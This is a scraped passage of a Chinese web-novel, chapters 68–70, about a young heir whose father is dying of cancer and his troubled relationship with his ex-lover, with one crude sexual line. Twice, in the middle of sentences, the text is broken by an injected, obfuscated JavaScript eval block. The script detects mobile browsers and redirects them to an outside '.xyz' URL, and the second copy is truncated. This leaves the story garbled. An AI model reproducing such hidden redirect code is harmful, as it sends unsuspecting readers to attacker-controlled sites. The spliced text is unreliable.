何湛程只觉得面对这样一群争来夺去的家人、这样一个自私薄情的爱人,好无助。 何湛程缓了几秒,对电话那头说:“霜霜,让他接电话。” 电话那头似乎响起一阵窸窣动静,似乎在互相推让,最后,霜霜气鼓鼓地说:“他不接。” 何湛程气笑了:“那你问他,为什么我爸病了不告诉我?” 那边安静半分钟,最后戚时接起电话:“这是你爸的意思。” 时隔好久,何湛程一听那令他又爱又恨的人声音,简直恨不得跳进手机,拿根绳子把戚老二给活活勒死! “我爸的意思是我爸的意思,我现在是在问你!”何湛程气得胸口起伏,另一手忙支撑在窗台上,低着头冷汗涔涔地咳嗽几声,冲人怒斥道:“我是在问你!问你这个口口声声说爱我的混蛋!为什么明知我爸重病还不告诉我!为什么在一起的时候不告诉我,分手了也不告诉我!!” 戚时似乎在皱眉:“你又病了?” 然后立刻解释道:“你别生气,你家的事,我这个外人不便插手,你是你,你家里人和我是生意,我只是分的比较清。” “外人?”何湛程怒极反笑,沉声道:“当初你每天晚上趴在我身上往我肚子里射*的时候,也觉得你自己是外人么?” 戚时沉默,半晌,提醒:“孩子还在旁边,你说话注意点儿。” “滚!!”何湛程骂道:“你少他妈在我面前装什么高风亮节的慈父!霜霜不也是让你欺负哭的么,你又跟她说什么了?!” 正说着,走廊经过一个穿白大褂的男医生,身后带着一群实习生,面色不悦地朝何湛程走来,提醒道:“这位先生,我们这里是医院,不得大声喧哗。” 何湛程不耐烦扭头瞪他一眼:“你也滚!” 男医生皱眉,正要再说句什么,路过查房的肿瘤外科主任也带着帮人朝这边走来,见势吓一跳,连忙小跑过来,将男医生拉去一边,附在对方耳边说了什么。 男医生一边听,一边上下打量着何湛程,噎住了似的,硬生生将许多话憋了回去。 他走到何湛程面前,低头象征性表示歉意:“何先生,不好意思。” 何湛程转过身没理他。 男医生的脸色也不是很好,再次躬身,对着他的背影说了句“抱歉”,头也不回地带着众人离开。 何湛程继续打电话,抱臂倚着窗户,淡漠视线移向楼下,庭院中央花园里,一对儿恩爱夫妻正推着轮椅上的老人谈笑散步。 他眼底模糊了一下,问:“戚时,聋了?” “没,”戚时忙解释道,“没什么,我逗她玩儿的。她下半年要去上学了,刘导接下来还有一堆工作要忙,没空参加她家长会,她说要打电话找你来,我就说你在国外读书,不可能回来,她就哭了。” 何湛程皱眉:“你有病吧?我回不回来关你屁事?” 戚时没吭声。 何湛程骂道:“我问你是不是有病!!” 戚时吱了个声:“没事的话,我把电话还给她了。” 何湛程突然又很想哭:“戚时,你的威风劲儿呢?你的男人气概呢?你光躲着我有意思么?!” 电话没回应,下一秒,手机落到霜霜手里。 何湛程不死心道:“戚时!说话!” 霜霜轻声道:“小程子,他走了。” “让他回来!” “他走了,不回来了。” “好,好……他就知道跑是吧……”何湛程忍着哭腔,飞快抬袖抹了把眼,咬着牙恨恨地笑:“那你就去告诉他,他最好祈祷我爸再多活个两百年,不然,就凭他联合何老大瞒着我这一点,我这辈子都不会放过他!” 69.第69章 老爷子输着液,一梦醒来,扭头发现守在床边哭得两眼通红的小儿子,先愣了一下,笑了笑,问:“怎么还没走啊?” 何湛程骂了句“臭老头儿”,扑过去他爸怀里,忍不住又哭起来。 纵观他爸一生,幼时不喜读书,其他兄弟姐妹都博学广志,每一个人都留过洋,只有他爸最不安分,文化平平,十三岁起就跟着家里人四处闯荡,脚步遍及东南亚和南非,专门去瘟疫和流行病严重的地方,自称药商,拿着从一个中西医那里搞来的偏方,游走各国推销货品,受益者皆称之为“神药”,因此不到两年,少年何澜就独立门户,不再归家里人管教。 那是少年何澜,私下来往皆是军|统高官,因利乘便,后来又开始倒腾起木材和水果,很快,何澜在国内以“木材商”的身份发家,光明正大盘了个写字楼,办公室挂了个“鸿业腾飞”的字画,自诩是另类“海归”。 何湛程见过他爸早年的旧照片,英俊倜傥,眉清目秀,帅得一表人才。 他爸早先是个资深票友,生旦净末丑,唱念做打,样样全行,偶尔会隐匿身份跑去登台客串演个曲儿,一派脂粉风流,根本不像是个在枪林弹雨里出生入死的商人,因此常年桃花泛滥,私生子也遍地都是。 也因此,老爷子没读过几本书,与人交往仍能出口成章,侃侃而谈,给人一种接受过高等教育熏陶的错觉,这全是跟着唱戏学来的。 何澜的父亲也是家底殷实的大少爷,祖上四代经营染织厂,何澜年轻时不受家规约束,结游广泛,青年致富,流连花丛,漂泊不定; 中年时期,出于联姻目的,与何棣坤和何湛程的母亲定下婚约,私下却又在菲律宾娶了个妻子,没举行什么正规仪式,何湛程母亲因此称她是“外妻”,称何闽轩也是“外子”、“私生子”; 四十来岁,和老二、老三的母亲正式结婚。婚宴在沪上举办得隆重而奢华,何澜听说妻子喜爱花草,为向岳父展露他爱妻心切,命人在庄园修建了座占地二百来平的花园温室,收集世间千百种奇花异草,因此得了个“痴情种”的名号,事迹也轰动一时; 老年,何澜年迈力衰,锋芒敛尽,自己虽终于安分下来,家里却从未宁静。 妻子外柔内悍,绝非善类,人在异国,但对遗产虎视眈眈;儿子们虽然个个是人中龙凤,却都未曾成家立业,难以令人放心;如今他病入膏肓,因关系网盘根错节、利益牵扯太多,不敢为亲朋心腹所知晓,孤身一人躺在特级重症病房,陪伴在侧的除了医生护士,只有一个手上没有实权、所有人都瞧不上的小儿子,不可谓不凄凉。 何湛程虽然生气老大瞒他,但其实心里也清楚,他大哥和他爸之间关系很微妙,谈不上什么父子情深。 当初他爸在菲律宾玩够了就抛妻弃子,间接导致他大哥的母亲和其他兄弟姐妹死于非命,他大哥那时才七八岁年纪,就这样眼睁睁看着这血淋淋场景发生,想必对他爸是恨之入骨了。 若非他爸是个家底殷实的富商,一句话就能扭转一个流浪儿的命运,他大哥估计早就找把枪弑父了。 他大哥和他爸只是君臣,不是父子。 他大哥城府深沉,是与生俱来的太子,而他爸正好缺一个合格的继承人。 老二消息灵通,何湛程听护士说,何老二私下回来看过老爷子几次,但老爷子气老二又开始跟那个高官的儿子纠缠不清,担心那高官从此针对上他们何家,人在病榻,整日惴惴不安,一见何棣坤出现,老头儿就气得抄起老二带来的那些礼品对着人又扔又砸,硬生生把老二给撵走了。 老二也不黏着,说让走,转头就走,潇潇洒洒,来去如风,看得旁边医护人员瞠目结舌。 这家医院是何家全资赞助的私立医院,几个资历老的、与何家人走动频繁的院长们茶余闲谈,说,老二自小没怎么跟他爸度过什么父子时光,他跟何湛程就差四岁,何湛程出生前,何澜在外面养得有情妇,一年回来个三四次,这都算得上“顾家”了。 何棣坤亲情观念淡薄,因为家里人所有的宠爱都给了弟弟一个人,他没个伴儿,从小到大,一切以大哥马首是瞻。 何棣坤小时候,何澜常年不回家,老妈又疯疯癫癫的,她不喜他和大哥走太近,动辄挑拨离间,何棣坤被烦得头疼,心里反而更亲近成熟稳重、又有点神秘气息的大哥。 怀小弟弟的时候,老爸一直住在情妇家里,老妈情绪消沉,整日沉迷于酗酒抽烟,最后给他生了个有先天性心脏病的残次品弟弟,她不敢跟老爸说,将一切归咎于医院那帮误诊的庸医,转头又开始对弟弟百般心疼,搞得老爸也万分愧疚,五十多岁的年纪,终于浪子回头。 何老二看在眼里,心里明白,只是嘴上不说罢了。 当然,不止老二不说,何家很多老仆人都不敢乱说。 如今,那帮被何太太骂了二十来年的“庸医们”,看着何澜快不行了,心里冤枉,难免又凑在一起讨论起当年事,何湛程中午去找院长问他爸的病情,抬手正要敲门,不小心听到了一些,没吭声就走了。 病房里,老爷子见小儿子埋着头不说话,只顾一味趴在他怀里流泪,不由得笑起来。 “傻孩子。” 何湛程泪眼模糊,恨恨地瞪他:“我才不傻!” 老爷子又笑,展颜哄道:“好好好,你不傻,你最乖了。” 他笑得虚弱,伸出那只遍布老年斑的苍白瘦手,拍了拍儿子的肩膀,感慨道:“大半年没见,我们家小祖宗怎么瘦成这样了?” 何湛程哽咽一声,双手握紧他手,心疼道:“你瘦得才吓人呢。” 老爷子是食道癌晚期,自打手术切除压在气管的肿瘤,时常感到胸骨后疼痛,吞咽也会造成呼吸困难,别说吃固体食物,连流质食物、唾液都没办法咽下,人早就瘦脱了相,眼下只能依靠吊瓶输液补充营养,何湛程今早推门进来时,见他爸像一具脱水的干尸,病恹恹地靠在病榻上,一脸苍白毫无血色,给他吓得不轻。 上午的时候,何湛程逮住几个来观察病情的主任医师,问他们,他爸还有多久可活?他们不敢轻易断言,每个人的回复都是模棱两可。 笑话,就算是普通病人,他们都不敢轻易告知患者家属病人的存活年限,何况来者是董事长的亲儿子? 还是一出生就在他们医院查出心脏病、在NICU里被重点看护了半年的小儿子? 当年就因为他们整座医院最权威人士——宋院长,他说何三小少爷的存活率大概为10%,何太太一怒之下,派人差点没把他们院长给打死,这二十年后,旧事重演,他们何家人又来问?! 他们除非不想活了,才会告诉何三少实情,更别提董事长和副董事长提早交代过,接下来的治疗“顺其自然”。 “顺其自然”是副董事长说的。 当着父亲的面,何董坐在病床边低头剥橘子,他一边剥,一边跟他们聊父亲的病情,当宋院长委婉提到董事长术后生存率不足5%时,何董只是淡淡“哦”了一声,眼皮都没掀一下,语气随意的像在聊起今天的天气,说了句“那就顺其自然吧”。 然后将剥了半天的橘子送到自己嘴里,头也不抬地询问父亲:“您说呢?” 没有预想当中的绝望与痛苦,更没有“如果治不好我爸,我就要你们整个医院陪葬!”这些偶像小说的经典桥段,何董说得风轻云淡,脸上甚至显露出几分舒心与惬意,众人一脸惊骇不敢置信,齐刷刷扭头去看董事长。 董事长年近八十,管不了事,也握不动权,他是真的年迈力衰了。 他只是苦笑几声,然后一挥手,说:“行了,我没那么惜命,这辈子该享的福、不该享的福,我都享了,现在顺其自然就顺其自然了,总好过我现在这副人不人鬼不鬼的样子。” 董事长病重住院属于高层机密,副董事长对董事长的态度,那更属于杀人灭口级别的机密,因此哪怕何二少来问,他们这些身处权力旋涡之中的院长主任们,也一律硬着头皮,回复预先商量好的套话: 由于本院人才济济,且由经验资历丰富的宋院长亲自操刀,所以老爷子的肿瘤切除手术进展得很顺利,但具体病情发展么,还需要视情况而定。 何湛程自然得到的也是同样的回复。 何棣坤懒得追究细问,习惯性揣着明白装糊涂,脚跟一转,拍拍屁股就走人了。 何湛程做不到。 他知道不对劲,问老头儿,老头儿净找话搪塞他;打电话问老二,老二借口夏季小岛风暴频发,电话占线信号不好,只提醒了他一句:“老三,凡事别太较真,如果你真要较真,这个世上没一个是好人。” 何湛程又岂会不明白? 只是,他总觉得大哥并非想象中那般冷血无情。 下午,趁着老爷子睡觉,何湛程跑到楼梯口给他大哥打电话。 他不想追究太多,他也没资格替谁原谅谁,他只问了几句关于爸的病情,他大哥只回复了一句: “我既然让你进去了,你就不要再问我你已经知道的答案。” 何湛程一颗心跌落到谷底,喉结上下吞咽几声,半句话抗议不出来。 电话滑落出手,摔在地板上,他无力地倚靠在墙边,失神望着虚空,陷入久久的沉静。 昨晚和李天涯分别,他连夜从燕京赶回家,以为见上老头儿一面,就可以了无牵挂地飞离这片伤心之地,甚至他想过从此定居异国,永不再回来。 他没想过自己要面临这么多事。 一月前,他在广告推送的娱乐新闻上发现一条他大哥和某集团千金联姻的爆帖,其中包含有狗仔偷拍角度的模糊视频,他大哥和某千金、千金父母在高档酒店包场吃饭,及他大哥携手千金回到私宅住处,他大哥和千金拥抱、接吻这些亲密动作。 因为知道大哥包养了一个男情人,据说二人感情还很深,所以何湛程一直没把那新闻当回事儿。 他以为只是某些下三流媒体为搏眼球不要命,居然敢找死拿他们何家人开刀,一般这种鸡零狗碎的小事都不用他们亲自下场,他大哥手下自然有人会去处理,但后来,这个热门词条连续两个月挂在热搜上都没掉,平均每天给他推送的频率超过三十次,他终于察觉不对劲,立马开电脑看自家股市,发现何氏集团的股值在短短两月间翻了两番,他才在这件事背后嗅到一点儿戚时的影子。 何湛程当时就明白了大半。 何闽轩和戚时,曾经八竿子打不着的两个人,因为谁才背地里勾搭上的,这还用猜么? 老爷子病重,而何家人消失在大众视野中太久,如果何氏集团值得信赖的重量级人物猝然病逝,而继承人是一个才不到三十岁的、名不见经传的生面孔—— 这甚至是何澜在婚前和外妻生的、“血统不正”的儿子,何氏集团的股市定然也要发生大动荡。 保不准有人要趁机作乱,集团高层要重新大洗牌,甚至于把何闽轩从副董事长位子挤掉。 谁呢? 何湛程脑海里几乎立刻浮起他妈那张似乎是不谙世事、富态雍容的笑脸。 他爸希望借戚时之手,强化身份标签博取眼球也好、利用网民八卦心理编造一段郎才女貌的浪漫故事也好、打造何闽轩才貌双全的精英人设进行营销也好……总之,就像捧明星一样,尽可能在网络舆论环境里给何老大营造声势,逐渐在社会中塑造出何老大青年才俊的完美形象,推动这位何氏继承人走近大众视野,在集团里树立何老大不可撼动的地位。 不管内部怎么龙争虎斗,一旦他大哥和那位千金强强联合的婚事牵扯到集体利益,尤其发生股值上涨的好苗头,董事会那帮人就不敢轻易动手。 何湛程昨夜脚刚落地沪上,马不停蹄直奔老大办公室,第一问,戚时是不是插手他们何家事了?第二问,老爷子到底在哪儿?! 老大二话不说,把和戚时签下的合同复印件甩给他看了,至于老爷子—— 他大哥目的已经达到,眼下,随便他探视。 何湛程眼前一黑又一黑,心中难过到极点,惨淡一笑,还没等他大哥挥手赶人,他怀里抱着那份手写着戚时亲笔签名的、五个月前就签下的合同协议,晕倒在他大哥的办公桌前。 这帮手握权势的无情人肆意妄为地搅动风云,留给他何湛程的,只有后知后觉的无力与绝望。 何湛程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732181|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两眼失神地倚靠着楼梯口的窗,茫然又无助。 他自己也不知道该怎么办才好。 他爸这一副坦然等死的样子,根本没打算再积极配合治疗,他妈、大哥、二哥……呵,偌大一个家,外表风光无限,如今出事,他居然连个可以商量的人、连个能倾诉的人都没有。 何湛程疲惫地闭了闭眼。 窗外傍晚霞光透射进窗,刺得他整个人头痛不已,何湛程扯着嘴角笑,突然想起当初戚时想要和他求婚时,他婉拒对方的那句“我才二十岁”。 二十岁怎么了? 二十岁,他就可以轻易放手一个自己心爱的人,还自以为很潇洒风流吗? 二十岁,他就要被一个不会再回头的人占据整颗心,往后余生五六十年,他一个人又该怎么度过? 二十岁,支离破碎的家,一辈子只围绕着权势财色打转的父母兄弟,一个比一个冷硬心肠,他还剩谁在身旁? 思绪正漂游着,不远处“哗啦”一声电梯门开,空荡走廊里,有人踩着高跟鞋哒哒的走着,突然,那人察觉般回眸,下一秒,寂静空气中响起一道清亮惊讶的女声:“三少?” 何湛程大脑猛地一个激灵,连忙睁眼扭头望去。 茉莉一身职业西装,马尾高盘,身姿笔挺,她双手拎着大提果篮,身后跟着两个穿白大褂的外国医生。 见何湛程在走廊尽头,她诧异片刻,转头对那俩外国人说了什么,将果篮交到他们手中,然后一个人走过来,弯腰将手机捡起来递给他。 茉莉笑道:“三少,什么时候赶回来的,我都没听戚总说。” 何湛程接过手机,轻蹙了下眉,心中隐隐有预感:“你怎么在这儿?” 他两小时前刚在霜霜电话里骂完戚时,除非茉莉开火箭来,否则绝不会这么快就到。 茉莉“啊”一声:“你不知道吗?我这几个月一直都在这边啊。” 说完又醒悟过来似的,笑道:“哦,你可能没去集团找过我,自从何老董手术那天起,我就被戚总调到沪上分公司这边了,何老董白天觉多,所以我一般在傍晚来。” 她转身朝远处那两个医生指了下,介绍道:“那两位是戚总派人从德国请来的特级专家,左边是胸外科主治医师Noah,右边是放射肿瘤科的教授Leon,他们和本院的宋院长、王院长组成治疗团队,白夜班分别陪护何老董。” 何湛程皱眉:“德国?” 茉莉微笑点点头:“是的。” 她听说了,小少爷之前专门去她老板的家乡捐学校,老板私下也完全把小少爷的父亲当岳父,一直在尽心尽力地孝敬,她在一旁看着这如此登对的二人感情越来越好,心里也跟着高兴。 “你们在坎昆的时候,戚总就吩咐我去办这件事了,后来何老董做手术,需要精密度更高的放化疗仪器,Noah说这两台设备国内没有,需要去德国购置,戚总知道Noah所在的医院也很擅长治疗小儿麻痹症,想起他老家还有个腿脚不便的朋友,就让他们顺道就把人给接去德国了。” 顺道…… 何湛程睫毛扑闪了下,眼眶湿红,脑子里一团乱。 当初他说什么来着? 戚时居然为了一个外人冲他发火,他没有得到预想中的偏爱,于是恼羞成怒,也将对方狠狠羞辱了一顿。 他不知道那个人从始至终都是为着他。 “你自己来的吗?”茉莉四下张望着,随口问:“戚总没一起吗?” “他……”他失笑,“他要是能来就好了。” 失落完,心里蹭地又冒火,何湛程抬眼瞪着茉莉:“你们老板干的好事,我今天才知道我爸病了!” “啊!”茉莉震惊捂嘴,一双眼睛瞪得老大:“你、你不知道?!” 那她岂不是泄露老板和何董的机密了?!! 何湛程瞪得她更凶:“那个大傻叉不告诉我就算了,你也不告诉我?!” 茉莉吓得心脏怦怦跳,连忙叫冤:“我不知道,真的不知道!这里平时都是何董的秘书在看护,他们一周只准我们探视一次,Noah和Leon两位专家也是戚总在合同条款上再三|退让,才能在何老董最终手术时安排进来的。” “上周戚总来医院,我还问他你怎么没来过,他说你最近忙得下不来床,没空,我就以为——咳咳!” 她脸上一红,小眼神瞟了一眼何湛程,小声说:“我就以为……咳,你都知道。” 何湛程拳头攥得死紧,咬着后牙槽呵呵笑起来。 下不来床? 呵呵,戚时那个狗畜生,表面上装得一脸无所谓,原来背地里就这么跟自己的秘书冷嘲热讽他是吧? “我们分手了。”何湛程冷声说。 “啊!?”茉莉又吓一大跳,也没管合不合适,直接脱口而出:“怎么会?你们这么配!” 何湛程也有点纳闷:“这么久了,他没告诉你?” 他知道茉莉一直都是帮戚时处理烂桃花的得力助手。 茉莉摇了摇头:“不知道,他最近很少跟我联系,不过你也别着急,现在老人家的事最重要,其余事,咱们等戚总来了再说吧。” 她低头抬臂看一眼表,说:“他这时候该上飞机了,等落地后,他会先和何董吃顿饭,晚上八九点再来医院,守到凌晨五点左右再飞回京。” 何湛程心中滋味复杂。 是出于知情不报的愧疚么,戚时才会在连分手了都替他照顾老头儿。 这里整个医院,所有人都看他大哥的脸色行事,戚时想必也察觉出他大哥对老头儿不甚关心,甚至巴不得老头儿早点归西,这才特地去国外找的专家,硬塞进来两个与何氏集团没有利益牵扯的自己人,派Noah和Leon在一旁监视宋院长他们吧? 戚时,戚时。 他不禁在心底呼唤起那个人的名字。 现在,他也分不清自己究竟是更爱那个人多一点,还是更恨那个人多一点。 何湛程再一次无力地倚靠回墙,仰头闭眼叹了口气,说:“他今天不会来了。” “为什么?” “因为我在这儿。” 70.第70章 晚上九点,窗外夜空繁星,医院楼内灯火通明。 病房内遍布消毒水的味道,何澜睡醒后,仍如同上班一样,不紧不慢地戴上老花镜,命人摆上小桌开电脑。 那只插着输液管的右手滚动着鼠标,隔着两片厚厚的老花镜,他眯眼浏览着每日财经新闻,再切换到何氏集团股市内部的数据监测仪表盘,确定集团内外部如当初预料般在稳健经营,妻子那边也还算风平浪静,他苍白脸上露出欣慰的微笑。 老大不常来看他,他每天遛一眼在老大治理下愈发向好的自家企业,就权当那孩子在给他尽孝心了。 旁边惯例是四个人陪着。 床头柜上摆着果篮、医疗包和病历本。 何澜工作时不喜人打扰,哪怕是最宠爱的小儿子来,也得和秘书医师们一起在旁边做背景板。不过,他毕竟是老年病人,心神很快消耗至疲劳,没待多久,白亮的电子屏光刺得何澜皱起了眉。 他闭眼叹了口气,艰难地动了动身子。 这就是结束的意思。 茉莉连忙过去帮他摘眼镜、撤桌子和电脑,又将果篮放得离他近了些。 虽然老爷子无法进食,但他很喜欢闻鲜果香,按照戚总要求,每次她拎来探病的水果都是越南、泰国当天空运入沪,再让人洗干净了装饰进漂亮的花篮带进屋,但等不到半夜,这些鲜果就会有陈旧迹象,她要在这之前将它们处理掉,省得产生腐烂气味、或者滋生果蝇,影响老人家心情。 Noah和Leon一个扶着老爷子,另一个将病床调整倾斜角,将枕头垫好,给他换一个舒服的姿势躺着,然后换吊瓶。 隔着挡在眼前的白大褂,何澜瞥眼一扫病床边的人数:四个。 没错,但似乎还是少了一个。 医生换完吊瓶,惯例拿起病历本,一脸认真地询问他身体状况,何澜嫌他们啰嗦起来没完没了,随便糊弄了几句,打发那俩人去旁边桌上写报告单去。何湛程见势忙坐过来,双手握住他的手,不放心地追问:“真的吗?爸,你别骗我,你真的觉得好点了吗?” 何澜笑了声,抬起手,慈爱地摸了摸小儿子的头:“我骗你干什么?再骗你,你不得把整个医院给掀了啊?” 然后扭头问另一边正低头折叠桌子的茉莉:“小姑娘,今天戚小友挺忙吗?他怎么没跟你一块儿来啊?” 茉莉闻声回头,尴尬一笑,正要随便找个借口搪塞过去,就见何湛程一脸不痛快地打断:“你还说?你跟老大串通也就串通了,你找戚老二干什么?” 茉莉就没吭声,继续埋头鼓捣已经折叠好的桌子,竖起耳朵偷听。 老头儿“诶哟”一声,见他一脸不开心,忍不住又笑起来,说:“怎么,你在外头受人家欺负了?” 何湛程冷呵一声:“我像是受欺负的么?我欺负他还差不多!” 老头儿笑:“是么?那他怎么不来啊?” 何湛程反问他:“你还没回答我的问题呢,谁让你把戚时搅合进来的?” 老头儿叹气:“谁让人家是搞娱媒的,咱们用得着他。” “那把我扔过去干嘛?” 何湛程知道他爸讨厌他们兄弟几个玩儿男人。 他爸住院前,因为家里闹得鸡飞狗跳,当时老二在蹲局子,他爸又舍不得打他这个最小的,于是毫无悬念迁怒到老大,反手就甩了他大哥一个清脆响亮的巴掌,责怪他大哥没起到带头作用。 他不明白他爸怎么就突然看上戚时了? 这俩人甚至还差着五十年的辈分呢! “谁知道你看上他了?” 老头儿瞥他一眼,眼底既有不满与责怪,亦不乏怜爱。 他攥拳咳嗽两声,喘了几口气,强撑着疲惫,解释道:“我们本来要找戚铭,但他现在不管事了,他弟弟戚时,我虽然不太了解,但你大哥说他一身正气,是个挺有孝心的人,你这个小坏蛋要去了,肯定能受人家熏陶,比去庙里当小和尚还好使。” 老头儿语重心长道:“你大哥虽然薄情,但他看人眼光一向很准,我信他。” 何湛程:“……” 他大哥那一巴掌挨得不冤,那混蛋看起来仪表堂堂,原来在老头子面前就这么睁着眼说瞎话?! 他大哥这种人要是放古代,那就是佞臣!是向君主进谗言、迫害忠良的大奸臣!! 老爷子:“事实证明,你大哥是对的。” 何湛程:“……” 老爷子聊起戚时,一脸欣慰,赞不绝口:“他和你大哥同岁,性格比你大哥要谦卑,单是这一点,他就在你们年轻人里面不多见了!” 何湛程翻了个大白眼。 “他能稳坐集团二把手,可见业务能力不错,只是他背景没你们硬,身份受限于娱乐行业,难以施展拳脚罢了。” 何湛程点头附和:“这一点我知道。” 老头儿就是老头儿,哪怕躺在病房里,光凭对方身份谈吐,就能一针见血地切中要害。 一直以来,戚时都在积极拓展集团业务,想要谋求更深远的发展,奈何他出身太低,手里掌握人脉资源有限,很多大佬都不乐意带他玩儿,戚时脾气又臭,人也年轻,酒桌上谈不拢就算了,动不动还被人家挤兑两句,一次两次还好,被针对多了,戚时忍无可忍,难免会拍桌子翻脸骂人,因此落了个“莽夫”的野蛮名声。 前辈不愿提携,后生敬而远之,戚时将近而立之年,身处博弈之地,却深陷事业瓶颈,这些都是没有办法的事。 老头儿也叹息:“那孩子也不容易啊。” 何湛程哼道:“谁容易啊?” 老头儿余光瞥到他腕间的沉香珠子,眉心一蹙。 他缓缓抬眼,触及何湛程目光,见儿子一脸心虚地别开视线,心下便已经了然。 老头儿不甚赞同道:“你这珠子,前几个月戴他手上,现在又戴你手上,这送来要去的,这下算是不灵了。” “你也是,既然是没定下的事,怎么就轻易地给了人家?既然给了人家,你现在要回来又像什么话?” 何湛程低头攥紧着手腕,乖乖挨训。 老头儿又说:“我不管你这些桃花债怎么处理,我就一句话,你这个珠子不能再戴在第三个人手上。” 何湛程忍不住插嘴:“你都说不灵了,还管这么多干什么?” 老头儿瞪他:“你要气死我是不是?” 何湛程蔫下来:“知道了。” “今年入藏给你师父上香磕头,是不是也没去呢?” “没,我今年忙。” “忙什么忙,你能有什么忙的?”老头儿教训道:“有什么事能比你小命还重要的?当年我可是跟人家说好的,每年去山上捐香火还愿,你老爷子我这么多年、砸这么多钱,不就是为了图你个平平安安吗?你在美国的时候都知道专程跑回来一趟,现在反而不懂事了?” “知道了,知道了。”何湛程不耐烦地撩了撩头发,说:“我抽空就去。” “还抽什么空,这都入秋了!”老头儿不满道:“你少在我面前耍帅,你夏天不去,难不成要等着腊月隆冬再去吗?” 何湛程瞪大眼珠:“我哪里耍帅了?!而且就凭我这张脸,还用得着‘耍’帅?” “对你的基因自信点儿,你儿子我天生就这么帅好吧!!” 老头儿:“…………” 然后命令:“我让你立刻就去,听见没?” 何湛程抗拒地别过脸:“我看你还有力气训我,身体应该也没多大问题,实话告诉你吧,我要回美国了,有空再来看你!” “我知道,”老头儿没好气道,“我听老二说了,你准备了哥大的入学考试,但这和你跑一趟西藏不冲突。” 何湛程不甚在意:“再说吧,珠子都不灵了,再拜那些虚如缥缈的东西有什么意义?有那闲钱,还不如给我办的学校多买点儿教学仪器,那才是积阴德呢。” “胡说八道!!” 老头儿勃然动怒,整个人剧烈咳嗽起来,胸口震得剧痛,他拍着床训斥道:“我不要你、咳咳!我不要你积什么狗屁的阴德!我要你活着!咳咳咳!你这辈子什么都不用干!你就负责给我好好、咳咳、好好地活着!!” “爸!”何湛程吓一跳,连忙起身去扶他,焦急紧张道:“爸!你别动气!我说着玩儿的!我都听你的!我全都听你的!” Noah和Leon急忙奔过来看,茉莉也惊了一下,慌张跑过来,将何湛程拉到一旁,焦急提醒道:“三少,何老董术后的胸腔气管上还带着伤呢,他可禁不住你这么气啊!” 何湛程吓得不轻,一颗心扑通到嗓子眼,身后Leon抱着他爸在顺气,Noah狂按急救铃,下一秒,病房内瞬间涌进一群喧闹嘈杂的白大褂,最后的两个人推着笨重的电子仪器,他们一窝蜂全都扑到他爸床前。 何湛程不敢回头去看情况如何,抓救命稻草一样,双手死死地攥紧茉莉的手臂,急得红了眼眶:“我不是故意的!我真的不是故意的!” “我、我知道!”茉莉疼得话音发颤,隔着一层西装布料,她小臂几乎都要被他攥断了。 茉莉艰难抽回自己胳膊,眉心蹙起,终于察觉他不太对劲: 这么一副高大身躯摇摇欲坠着,两边额头爆着青红的血管,宽大的掌心冒着湿淋淋的冷汗,脸颊也浮起不自然的薄红。 茉莉忙一把搀住他,无奈又心疼地安慰道:“我知道,放心,你放心,何老董也知道,没事的,你下次多注意就好了。” 何湛程懊恼得简直无地自处。 长达两个小时的全身检查,老爷子痛得昏迷过去,虽然是虚惊一场,众人皆唏嘘着抹了把汗,但宋院长委婉地暗示何湛程尽量不要再和老爷子说太长时间的话,尤其不要再惹老人家生气。 “希望三少往后谨慎一点,我们承担不起额外的风险。” 何湛程愧疚万分地点了点头。 等宋院长那帮人离开后,何湛程望着那一脸安详地躺在床上的七旬老头儿,他不知道他爸究竟是睡沉了,还是根本痛得醒不过来。 他不敢再靠近病床。 他除了惹他爸生气之外,什么都做不了。 何湛程浑浑噩噩着,大脑一团乱,他闭着眼浅浅呼吸,眼前一阵接着一阵的天旋地转。 他感觉自己彻底虚脱了,倚着屋内光线最暗处的墙角,缓缓滑了下去,一屁股坐在冰凉地板上。 他埋头缩在双臂间,朝下的右掌心里,紧紧攥着再也打不通某人电话的手机。 戚时。 他眼底漆黑模糊成一片。 *** 凌晨,三点半,夜色深浓。 茉莉和Noah聊完老爷子的病情,起身去走廊给自家老板汇报。 何湛程默不作声地从地上爬起来,红着眼眶,黏在她身后一起走出来。 茉莉假装没看见跟过来的小尾巴,高跟鞋踩得哒哒的,在空荡无人的楼梯间里回响声清亮。 她掏出手机,无视凑过来她身旁的、一米八八的委屈大个子,本来要发短信的手指,犹豫片刻,点开了电话通讯录,按下扩音键。 响铃三秒,对方接起电话,疲惫沙哑的烟嗓,几乎将整个楼梯间都笼罩进浓烈呛人的云雾。 “怎么了?何老董那边不顺利么?” 何湛程心一揪。 低垂的睫毛忽地扑闪两下。 他知道戚时又在家里的书房抽烟。 茉莉清咳一声:“还好,三少在这边守着呢,我们遇上了。” 电话那头一顿,问:“他看起来怎么样?还能接受吗?” 茉莉:“还好,他知道您在这边布置的事了。” 电话那头有些不悦:“好就是好,不好就是不好,‘还好’是什么意思?” 茉莉尬笑两声,小眼神瞄一眼身旁人。 何湛程忍不住两眼泛红,冲她轻轻地点了点头。 茉莉就说:“他挺好的。” 电话那头:“嗯,挺好就行。” 他哑声道:“前阵子忙,忘记跟你说了,我跟他分手了,往后我们俩家就是生意往来,该帮的忙,我们还是要帮,但我的个人私事,你没必要再透露给他。” 茉莉点点头:“好的。” 然后不着痕迹地与身旁人隔开半米距离,关掉了外扩音。 何湛程犟着性子,分寸不离地紧跟着黏上来,他歪头靠在她肩膀,将右边耳朵贴紧着她手机,一脸固执地听电话。 茉莉:“……” 鼻尖萦绕进几缕好闻的香气,不是香水味,而是从肌肤里自然流露出来的柔和淡香。 他顶着这样一张年轻俊逸的脸,幼稚鬼一样,没礼貌地将她挤到角落里,然后掏手机飞快打字,举到她面前,示意她口述出来。 【我会回美国上学,我不在的时候,你让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 